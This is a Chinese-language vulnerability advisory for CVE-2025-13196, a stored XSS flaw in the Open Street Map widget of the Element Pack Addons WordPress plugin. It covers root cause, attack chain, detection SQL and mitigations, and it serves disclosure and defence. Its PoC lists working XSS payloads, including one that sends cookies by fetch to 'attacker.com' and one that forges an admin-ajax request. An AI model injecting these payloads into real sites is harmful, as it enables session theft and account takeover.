IPBUF安全漏洞报告
English
CVE-2025-13196 CVSS 5.4 中危

CVE-2025-13196 WordPress Element Pack插件Open Street Map存储型XSS漏洞

披露日期: 2025-11-18

漏洞信息

漏洞编号
CVE-2025-13196
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Element Pack Addons for Elementor

相关标签

CVE-2025-13196WordPress插件漏洞存储型XSSElement Pack AddonsElementorOpen Street MapCross-Site Scripting身份验证绕过中危漏洞

漏洞概述

Element Pack Addons是WordPress平台上一款广受欢迎的Elementor页面构建器插件,提供了超过180个精心设计的元素和小工具。2025年披露的CVE-2025-13196漏洞影响了该插件的Open Street Map(开源地图)组件。该漏洞属于存储型跨站脚本攻击(Stored XSS),允许具有贡献者级别权限的认证攻击者在地图标记内容参数中注入恶意JavaScript代码。由于插件在render函数中未对用户输入进行充分的清理和转义,恶意脚本会被永久存储在数据库中。当其他用户访问包含受感染地图组件的页面时,注入的脚本会自动执行,可能导致会话劫持、敏感信息窃取、恶意重定向等严重安全后果。此漏洞的CVSS评分为5.4,属于中等严重程度,但考虑到其存储型特性和低权限要求,仍需及时修复。

技术细节

漏洞根源在于Element Pack Addons插件的Open Street Map widget实现中,render()函数对用户提供的marker content参数缺乏有效的输入验证和输出转义。具体来说,插件在处理地图标记的显示内容时,直接将用户输入嵌入到HTML输出中而未进行适当的清理。具体问题包括:1) 输入清理不足:未对marker content参数进行严格的输入验证和过滤;2) 输出转义缺失:在将数据输出到HTML页面时,未使用htmlspecialchars()或类似函数进行转义处理。攻击者只需拥有WordPress站点的贡献者(Contributor)角色或更高权限,即可在Open Street Map组件的marker content字段中注入包含<script>标签或事件处理器(如onerror、onload)的恶意代码。由于插件将数据存储在数据库中,受感染的脚本会在所有访问该页面的用户浏览器中执行,形成持久性攻击。攻击者可能利用此漏洞窃取管理员Cookie、提升权限或植入后门程序。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标WordPress网站是否安装Element Pack Addons插件,并确认版本号(需<=8.3.4)
STEP 2
2. 账户获取
攻击者获取目标站点的WordPress账户,贡献者(Contributor)级别或更高权限即可
STEP 3
3. 漏洞利用
使用Elementor编辑器添加Open Street Map组件,在marker content参数中注入恶意JavaScript代码
STEP 4
4. 持久化存储
携带恶意脚本的页面被保存并发布,脚本代码永久存储在WordPress数据库中
STEP 5
5. 触发执行
当普通用户或管理员访问包含受感染地图组件的页面时,恶意脚本在其浏览器中自动执行
STEP 6
6. 恶意行为
攻击者通过注入的脚本窃取用户Cookie、会话令牌,进行会话劫持或重定向用户到钓鱼站点

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-13196 PoC - Element Pack Addons Stored XSS // Target: WordPress with Element Pack Addons plugin <= 8.3.4 // Step 1: Authenticate as Contributor or higher role // Step 2: Edit any page using Elementor page builder // Step 3: Add 'Open Street Map' widget to the page // Step 4: In marker content parameter, inject: // Malicious payload examples: const payloads = [ '<script>alert(document.cookie)</script>', '<img src=x onerror=fetch("https://attacker.com/steal?c="+document.cookie)>', '<svg onload=fetch("/wp-admin/admin-ajax.php?action=update_plugin&plugin=element-pack&nonce="+document.querySelector("#_wpnonce").value,{method:"POST",body:"...")})>', '<iframe src="javascript:alert(document.domain)">' ]; // Step 5: Save and publish the page // Step 6: Any user visiting the page will execute the injected script // Detection: Search for markers with XSS patterns in database // SELECT * FROM wp_postmeta WHERE meta_value LIKE '%<script%' OR meta_value LIKE '%onerror=%';

影响范围

Element Pack Addons for Elementor <= 8.3.4

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:1) 临时禁用Open Street Map组件;2) 限制低权限用户使用Elementor编辑器的权限;3) 使用Web应用防火墙(WAF)规则拦截包含XSS特征的请求;4) 监控数据库中wp_postmeta表的异常内容。但请注意,这些措施仅为临时解决方案,强烈建议尽快升级到插件最新版本以彻底修复漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表